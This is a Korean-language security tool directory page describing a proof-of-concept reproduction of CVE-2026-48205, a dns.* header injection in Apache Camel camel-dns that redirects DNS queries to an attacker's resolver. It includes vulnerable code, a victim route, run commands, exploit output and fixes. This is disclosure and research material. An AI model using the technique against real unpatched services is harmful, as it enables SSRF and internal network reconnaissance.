Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-48205 — CVE-2026-48205 재현 도구: Apache Camel camel-dns의 dns.* 헤더 주입으로 DNS 쿼리를 공격자가 제어하는 리졸버로 리디렉션(DNS를 통한 SSRF)하며 내부 호스트명 정찰을 가능하게 함(4.14.8/4.18.3/4.21.0에서 수정됨) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-48205
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationDNS Analysis
GitHuboscerd/cve-2026-48205

CVE-2026-48205

CVE-2026-48205 재현 도구: Apache Camel camel-dns의 dns.* 헤더 주입으로 DNS 쿼리를 공격자가 제어하는 리졸버로 리디렉션(DNS를 통한 SSRF)하며 내부 호스트명 정찰을 가능하게 함(4.14.8/4.18.3/4.21.0에서 수정됨)

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-dns dns.* / term 헤더 주입 재현 도구 (CVE-2026-48205)

이 프로젝트는 Apache Camel의 camel-dns 컴포넌트에서 발생하는 메시지 헤더 주입 취약점을 시연하며, CVE-2026-48205로 추적됩니다. DNS 프로듀서는 쿼리할 리졸버, 조회할 이름/도메인, 레코드 타입/클래스 및 검색어 등 작업 파라미터를 Exchange 헤더에서 읽어오는데, 해당 헤더의 상수 값(DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM)은 dns.server, dns.name, dns.domain, dns.type, dns.class, term이라는 평문 문자열이었습니다. 이 이름들은 Camel / camel 접두사로 시작하지 않기 때문에, HTTP 경계에서 Camel 헤더 네임스페이스만 차단하는 HttpHeaderFilterStrategy가 인바운드 HTTP 요청에서 Exchange로 이 헤더들이 그대로 전달되도록 허용했습니다.

HTTP 컨슈머(예: platform-http)를 dns: 프로듀서로 연결하는 라우트에서, 모든 HTTP 클라이언트는 dns.server 헤더를 설정하여 dig 프로듀서가 공격자가 제어하는 DNS 서버를 가리키는 SimpleResolver를 생성하도록 만들 수 있습니다. 이는 DNS를 통한 서버 측 요청 위조(SSRF) 로, 공격자는 쿼리된 이름을 관찰하고 오염된 응답을 반환할 수 있습니다. 또한 dns.name / dns.domain을 설정하여 임의의 내부 호스트 이름을 확인할 수 있습니다(내부 네트워크 정찰).

Advisory: https://camel.apache.org/security/CVE-2026-48205.html

취약점 요약

수정은 헤더 이름을 CamelDnsServer / CamelDnsName 등으로 변경하여, 다른 모든 Camel 제어 헤더처럼 HTTP 경계에서 필터링되도록 합니다. CVE-2025-27636, CVE-2026-46454 및 CVE-2026-47323과 같은 계열입니다.

기술적 세부 사항

root@kitploit:~
// DnsConstants (영향을 받는 4.18.2) — 제어 헤더 이름이 Camel 접두사가 없는 일반 문자열입니다:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (영향을 받는 4.18.2) — 리졸버 대상이 헤더에서 직접 전달됩니다:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- 공격자가 제어하는 DNS 서버
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — 쿼리가 공격자의 서버로 전송됩니다

수정(4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574)은 값을 CamelDns* 규칙으로 변경합니다.

피해자 라우트

root@kitploit:~
from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // dns.server 없음 -> 기본 리졸버 사용 (의도된 동작)

이 라우트는 고정된 이름을 기본 리졸버로 조회합니다. 공격자는 dns.server 헤더 하나만 추가하여 쿼리를 자신의 DNS 서버로 리디렉션시킵니다. (dns.server는 소문자이므로 서블릿 컨테이너의 헤더 정규화를 통과합니다 — platform-http만으로도 충분합니다.)

저장소 구조

모든 것이 하나의 자체 포함 컨테이너에서 실행됩니다: 피해자 라우트, 공격자의 가짜 DNS 서버(UDP 53), 그리고 공격자 드라이버.

root@kitploit:~
CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # 단일 자체 포함 서비스
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # UDP 53의 공격자 DNS 서버 (리디렉션된 쿼리 기록)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # 공격자: dns.server=127.0.0.1 주입
    └── resources/
        └── application.properties

사전 요구 사항

  • Docker 및 Docker Compose (가짜 DNS 서버는 루트 권한이 필요한 UDP 포트 53에 바인딩되므로 컨테이너가 루트로 실행됩니다)
  • Java 17+ 및 Maven 3.8+ (jar 빌드용)

재현 단계

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

예상 출력

root@kitploit:~
=== 1) 정상 요청 (dns.server 헤더 없음) — 기본 리졸버 ===
  attacker's DNS server was queried: false

=== 2) dns.server=127.0.0.1 주입 (DNS를 통한 SSRF) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

이제 공격자의 DNS 서버는 피해자의 조회 이름을 확인할 수 있습니다(그리고 오염된 응답을 반환할 수도 있습니다). dns.server를 실제 내부 DNS 리졸버로 지정하거나 dns.name을 내부 호스트 이름으로 설정하면 내부 네트워크에 대한 정찰이 가능해집니다.

권장 수정

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574)로 업그레이드하십시오. 업그레이드 후에는 헤더를 통해 DNS 작업을 수행하는 라우트가 CamelDnsServer / CamelDnsName 등을 사용해야 합니다.

완화 조치

업그레이드 전까지는 신뢰할 수 없는 모든 인그레스에서 dns: 프로듀서 앞에 도달하기 전에 dns.* 및 term 헤더를 제거하고, 라우트 내에서 신뢰할 수 있는 소스로 DNS 서버 및 조회 파라미터를 설정하십시오.

면책 조항

이 재현 도구는 공개적으로 공개되었고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
속성값
컴포넌트camel-dns
영향을 받는 클래스org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server"))
CWECWE-20 (잘못된 입력 검증) / CWE-918 (서버 측 요청 위조)
영향라우트의 DNS 쿼리를 공격자가 제어하는 서버로 리디렉션(이름 관찰, 오염된 응답 반환 가능); 내부 호스트 이름 열거
전제 조건라우트가 HTTP 컨슈머를 dns: 프로듀서로 연결; 컨슈머가 인증을 요구하지 않을 경우 인증 없이 가능
영향을 받는 버전4.0.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전
수정된 버전4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23574 (PR apache/camel#23411)
발견자Yu Bao (PayPal)